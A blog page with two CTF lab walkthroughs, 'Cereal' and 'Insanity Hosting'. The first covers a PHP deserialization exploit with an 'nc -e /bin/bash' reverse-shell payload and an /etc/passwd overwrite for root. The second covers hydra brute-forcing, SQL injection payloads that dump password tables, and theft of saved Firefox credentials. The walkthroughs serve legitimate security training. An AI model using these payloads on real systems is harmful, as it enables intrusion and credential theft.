CTF's Hacking My CTF Walkthroughs Walkthroughs

Cereal – Walkthrough

I’ve had a lot of questions around this box so here is a walkthrough in case you get stuck. This walkthrough assumes you have knowledge of nmap, wordlist scanners, Burp Suite, and PHP.

Firstly, let’s scan our local network to find the device:

nmap -sP

Once you find the relevant IP, let’s continue to scan the box itself.

nmap -p-

This returns a list of ports:

There’s a fair few ports on this box, so you’ll need to enumerate them quite well. Firstly, let’s try FTP.

Enumerating FTP

We can see from the image that anonymous FTP is enabled. There are no files of interest, and also write access is disabled. We can see the FTP server is vsFTPd 3.0.3 which has no known exploits at this time. Let’s move onto SSH.

Enumerating SSH

It looks like password authentication is enabled. Sometimes, when you try to login to SSH, you may see a banner which gives you useful information, though there isn’t one in this case. Let’s move on.

Enumerating Port 80 – HTTP

We know port 80 is usually running a web server behind it, so let’s visit the IP address in our browser which will access port 80 by default.

The default page is a basic Apache page you often see on servers. It’s pretty useless on its own. Let’s scan the website for common filenames/folders.

I have a custom script that does this, so you’ll need to use your own tools such as dirb/gobuster etc.

This identifies three different files/directories. Let’s take a look at /admin first

Port 80 – Admin Directory

The admin directory looks like an admin login form. Trying a few common username/password combinations does nothing, and the login form is not vulnerable to SQL Injection. Moving on.

Port 80 – Blog

The blog directory is more interesting. It doesn’t seem to render properly – looking at the source code reveals why:

It looks like the HTML source is referencing a domain name (cereal.ctf). As this domain doesn’t really exist, let’s create an entry in /etc/hosts on our attacking machine so that the domain resolves to the machine IP address:

Creating this entry allows the website to render properly.

As we can see, this is a WordPress powered blog. WordPress sometimes has vulnerable plugins or themes, so we may need to scan for these at some point. However, now we have a domain name (cereal.ctf), let’s scan for sub-domains.

ffuf -u 'http://cereal.ctf' -H 'Host: FUZZ.cereal.ctf' -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -fw 1,22027

This returns absolutely nothing. Let’s move onto the other ports for now.

Dead Ports

It seems the following ports do not respond when probed:

139, 445, 3306, 11111, 22222, 22223, 33333, 33334, 44444, 55551, 55555

Port 44441 – HTTP

Strangely though, there appears to be another web service running on port 44441.

Let’s try to scan for subdomains on this port instead.

ffuf -u 'http://cereal.ctf:44441' -H 'Host: FUZZ.cereal.ctf' -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -fw 2

This reveals a sub-domain. http://secure.cereal.ctf.

After adding this to our /etc/hosts file, we can now visit it in our web-browser.

secure.cereal.ctf (Port 44441)

Looking at this script, it seems to ping our local IP address by default. If we put any other IP into the box, it also appears to ping this. We can try a basic command injection technique here:

This doesn’t seem to work though. Perhaps this isn’t vulnerable to command injection. Looking at the source code, it looks like it may be vulnerable to a PHP deserialization attack. The box is called Cereal, after all.

To assist us further, let’s see if we can find a backup of the PHP file so we can understand how it works a bit more.

Using a wordlist scanner, we find the back_en directory. The enumeration is tricky on this one; this directory isn’t on all wordlists. Using directory-list-2.3-big.txt reveals the directory.

The folder looks like indexes are disabled though, so we can’t see what files are in there.

Let’s scan for them instead! .back, .bak. .backup are common backup file extensions so it makes sense to scan these extensions. This reveals index.php.bak!

If we visit that file and review the source code, we can see the PHP code sat behind the web form.

class pingTest {
	public $ipAddress = "";
	public $isValid = False;
	public $output = "";

	function validate() {
		if (!$this->isValid) {
			if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
				$this->isValid = True;


	public function ping()
		if ($this->isValid) {
			$this->output = shell_exec("ping -c 3 $this->ipAddress");	


if (isset($_POST['obj'])) {
	$pingTest = unserialize(urldecode($_POST['obj']));
} else {
	$pingTest = new pingTest;


We need to understand how this script works before we can exploit it. I won’t dissect the code completely so if you don’t understand it fully, I recommend learning PHP, specifically around object orientation.

As we can see, there is a pingTest class within the script. We can see the different variables within the class such as ipAddress and isValid.

The script seems to accept a serialized pingTest object via HTTP POST. It then deserializes the object passed from HTTP post, calls the validate function, and in turn calls the ping function. We can therefore see that when we type in an IP address on the web form and click submit, Javascript serializes the object ready for PHP, and then passes that object to the PHP script. The script validates the IP address value within the object and then proceeds to ping it if the IP address is vaild.

To ping the IP address, the shell_exec command is called which simply executes the command on the local system. The reason our initial command injection attempt didn’t work was because our IP Address input did not pass the IP address validation.

However, as the script unseriealizes the entire pingTest object submitted via HTTP post, we can look to set the ‘isValid’ boolean, and trick the script into thinking the IP address with an additional command we supply is valid, gaining remote code execution on the system.

When we ping from the web form, we see the serialized object being sent from the web form to the PHP script. Only the ipAddress variable is supplied though – isValid is not supplied by the web form at all.

The request as seen in Burp Suite:

Let’s craft our own payload, injecting our own command but supplying the isValid variable to bypass IP validation. To do this, we can create a PHP file on our attacker system:


class pingTest {
     public $ipAddress = " & nc -e /bin/bash 80";
     public $isValid = True;

echo urlencode(serialize(new pingTest));


As seen above, the isValid variable has been set to True, and a nc command has been injected onto the end of the IP address.

If we run this PHP file from our attacker machine terminal, we get a URL Encoded Serialized object which we can submit in the intercepted Burp Suite request:

Let’s also open the netcat listener on our attack box ready:

sudo nc -nvlp 80

If we go back to the web form, type in a random IP and click submit, we can intercept the request in Burp Suite and overwrite the object with our payload instead:

After submitting, our netcat listener gets a hit and we have a reverse shell:

The reason this works is because the isValid variable has been set to True, so the script skips IP Address validation and passes our input directly to the shell_exec function. Therein lies the vulnerability.

Privilege Escalation

When we login to the box, we appear to be an unprivileged user (apache). There are loads of privilege escalation checks you can do, but I’m going to cut straight to the chase.

Using pspy which I download onto the box, I can review what cron jobs are running. You might need to wait a while though as the relevant cron job we can exploit runs only once every 10 minutes:

After we wait a few minutes, we can see the root user is running a script (/usr/share/scripts/ Let’s review that script.

It looks like this script simply changes the owner of /home/rocky/public_html/* as rocky:apache. The script is also read only so we can’t edit it. However, we can exploit this functionality.

We know the root user is running this script (UID=0), and is changing the owner and group of every file in /home/rocky/public_html/ – if we create a symbolic link in this directory to /etc/passwd, the script will change the owner of /etc/passwd and it may make it writeable for us. If we can control /etc/passwd, we can easily get root.

Using this command, I create a symlink:

ln -s /etc/passwd /home/rocky/public_html/passwd

Now, we just need to wait for the script to execute again. Once it does, the file is now owned by the apache group.

We can overwrite /etc/passwd using the following command to remove the root password:

echo root::0:0:root:/root:/bin/bash > /etc/passwd

Now we can simply escalate straight to root using the su command.

This box was intentionally designed to require a lot of enumeration. Hopefully you can apply some of this knowledge going forward. Good luck!

My CTF Walkthroughs Walkthroughs

Insanity Hosting – Writeup

Here is a writeup of BootlessHacker’s 5th box Insanity Hosting – written by spongy.

Before we get into the box – I am going to give a high level summary of what the box entails; brute forcing, sql injection (unusual way), avoiding the obvious finding credentials and avoiding the rabbit holes with privilege escalation. I am going to hide credentials in this writeup but provide the method to retrieve them.

Once I established my IP address I ran my nmap scan:

#Top 1000 scan
nmap -A -oA nmap/1000

#Once this completed I let a full TCP scan run
nmap -p- -T4

As we can see we have 3 ports open:

  • 21 – FTP (with anonymous access)
  • 22 – SSH
  • 80 – HTTP

With the full TCP scan not showing any more ports I proceeded to dig into the services found starting with FTP.

Enter username > anonymous
Enter password > anonymous

Looking at the image above we can see that the only contents of this FTP directory is a folder called “pub” which was also empty inside. I then tried to upload a file from my Kali machine into the FTP directory but had an access denied message. This appeared to be the first of many rabbit holes – thankfully not too much time wasted here.

I then moved onto HTTP as we do not have any credentials for SSH. So I went to and got presented with the following page.

In the image above we can see that we have a potential host name of insanityhosting.vm. There is a link to the “/monitoring” directory in the source – however I decided to run gobuster at this point.

#I typically start with either common.txt or big.txt
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u
  • /monitoring
  • /news
  • /phpmyadmin
  • /webmail

The above 4 were all interesting to check out – I started at the top and worked down.


I tried some default credentials and some basic SQL Injection techniques to try and trigger some abnormal behaviour, but nothing happened. I did notice that when I browsed here, I was redirected to login.php so I then ran gobuster on the /monitoring directory and found the following.

Although I couldn’t view the contents of anything I was starting to build a picture. Inside /class was a file called ping.php and we can see in the image above cron.php. To me this sounded like it would be our way forward but we needed to find credentials.


In the image we can see that the page hasn’t rendered correctly and that is because we do not have the insanityhosting.vm or www.insanityhosting.vm host names set up in our /etc/hosts file. Also, importantly – we found a potential username Otis.

sudo vim /etc/hosts

#Once inside I added the following:    insanityhosting.vm www.insanityhosting.vm

At this point I made a note that if I found nothing else valuable, I would use wfuzz to brute force looking for additional virtual hosts. Once I added the hosts record and refreshed the page it looked normal.

We can also see that this page is running Bludit. Running gobuster we find an /admin directory. Navigating here I find the Bludit login page. I have done a box recently where you can manipulate the headers of a request and brute force Bludit without getting locked out. The PoC code is here:

I modified the code to accept a list I provided it and adjusted the usual variables like the address and username. I let the script run on the top 10,000 passwords of rockyou with the username Otis but didn’t have any hits.


Here I tried the default credentials for phpmyadmin and some other common combinations, but nothing worked. However, if you type any random word as a username and have a blank password you can log in. See below.

However as we can see – nothing useful in here at the moment as we cannot see any other tables apart from information_schema ones.


We can see that this is SquirrelMail and we have the version number 1.4.22 – I did look on searchsploit for an exploit but again we do not have any valid credentials at this point so we are heading for a brute force.

/monitoring – brute force

So, we know we have a potential username Otis – I load up burp and intercept a random guess just to get the POST request details allowing me to build the hydra command. We also know that no error message appears with wrong username or password – however we still see the “Sign In” text so I used that instead.

hydra -l otis -P /usr/share/wordlists/rockyou.txt http-post-form '/monitoring/index.php:username=^USER^&PASSWORD=^PASS^&Login=Login:Sign In'

Within a couple of seconds Hydra returns the credentials ******. I was then able to log into the monitoring page.

Just looking at this page I started to piece together what we had found earlier (cron.php and ping.php) – my guess was that we can enter our address here and we will receive a “ping” from this box every X minutes.

To test this, I clicked the “Add New” button and entered my IP Address and gave it a name. Next on Kali I started listening for ICMP requests.

sudo tcpdump icmp

As we can see, after 1 minute we get a ping from the insanityhosting.vm. So, my immediate thought is Command Injection. If we can append a new command to the existing ping, we will have a way of executing code on this box.

#These are just a few of the injections I tried appending with

Using the above syntax – I was unsuccessful in trying to get command execution.

My next trail of thought was to check the credentials we now have with other services running – the credentials also worked on the /webmail directory.

As we can see from the image – we have some emails to read. Below is a picture of the latest email we had. We receive and email whenever it fails to ping a host. I have highlighted a section of interest. There are 4 fields which I think we can assume are read from a database. If this is true then if we can find an injection point, we may be able to conduct SQL Injection and display the output through the emails we receive.

My idea was that the code would be doing something along these lines.

foreach record in hosts

    if CheckHostIsUp(record.ipAddress)
            recordset = getLogsFromSql(
I imagined that "getLogsFromSql" was a query like the following

select * from logs where host = "localhost"

I personally find writing and mapping it out makes it easier to visualise and help plan the next step of exploiting it.

Back on the /monitoring page I added a few new “hosts” all with a few techniques in to try and retrieve results.

Unfortunately, I didn’t get any hits – I did add more than this but had nothing back. However, I did notice that with these names I was not getting any email at all which meant that I was causing abnormal behaviour in the application, so it was looking promising. Now rather than manually go through each injection string and add it as a host – I had an idea. There is a wordlist on Kali in this directory /usr/share/wfuzz/wordlist/Injections/SQL.txt which contains some common tests. To speed up the process, I took around 30 out of this file and into a new file. The reason I did this was so that we do not get flooded with huge volumes of emails every minute all with the same Subject.

Once the 30 were in a new file – I loaded up burp and then intercepted myself adding a new host. I sent the request to Intruder and then set my payload position on just name.

Loaded my file of SQL Injection tests into the payload options.

Then started the attack and waited a few minutes to see what emails I had come through (if any).

We can see we have lots more entries now all added as hosts. I also started to received emails and looking through them I found the syntax which done exactly what we wanted.

That email is now leaking the rest of the contents of that table to us with the injection method of " or "a"="a

I won’t show screenshot for every query I ran next – but essentially we needed to figure out what tables were in the database, the columns those tables had and then read the values.

#Find the name of tables that exist
aaa" union select 1, concat(table_schema,".",table_name),null,null from information_schema.tables -- -
#This showed some application tables - most notable was 'users'
aaa" union select 1, column_name,null,null from information_schema.columns where table_name = "users"-- -
#Here we found the columns were ID,username,password and email
aaa" union select 1, concat(username,":",password,":",email),null,null from users -- -

As we can see we have successfully dumped out the contents of the “users” table. I took the hashes and attempted to crack the two new credentials with John.

john --wordlist=/usr/share/wordlists/rockyou.txt <hashFile>

I left them run for around 10-15 minutes. This didn’t seem normal for a CTF, so I continued to enumerate the database and took a look in the mysql.user table. Here we found another user and credentials.

#Code to add to as a "host"
aaa" union select 1, concat(user,":",password,":",authentication_string), null,null from mysql.user -- -

Then I added the non-root users credentials to a text file and attempted to crack with John – these cracked straight away.

SSH & Privilege Escalation

With our new credentials – I was able to SSH onto the machine. Once on here I started to do some manual enumeration first to see if I spotted anything obvious before using an automated script.

There are multiple users on the machine – more notable that Nicholas is part of a dockerroot group.

We can see we have some internal ports open 9000 and 10000. 9000 was PHP-FPM but more interestingly 10000 was Webmin. I exited out of my SSH session and then port forwarded port 10000.

ssh -L 10000: ******@

Then on my Kali machine I opened Firefox and went to

I found myself at another login page and the credentials I had didn’t work. So, it was a case of going back to the machine and continue to enumerate more.

After all findings led to dead ends – I then got linpeas and pspy onto the machine. I ran linpeas and didn’t really find anything else useful. Running pspy was also not too insightful as any files root was running, we had no way of manipulating it to our advantage.

After SLOWLY going over linpeas for a second time – I did notice something that was unordinary on a CTF. Mozilla Firefox was installed on the machine. I know that it is possible to extract passwords from Firefox using this tool

The files I needed to make this work were all in the home directory of our user.

I then used scp to transfer each of the 4 files back to my Kali machine

scp cert9.db spongy@
scp cookies.sqlite spongy@
scp key4.db spongy@
scp logins.json spongy@

Next it was a simple case of running the tool we got from GitHub.

sudo python ~/vulnhub/insanity-hosting/firefox-files/

We now had root credentials. So we simply need to switch user to root.

su root
Enter Password > ********************

The password works and we are now root.


Overall a really great box. Especially liked the SQL Injection challenge and a box full of rabbit holes which you could easily fall into. Really fun and and top quality. Thanks BootlessHacker!!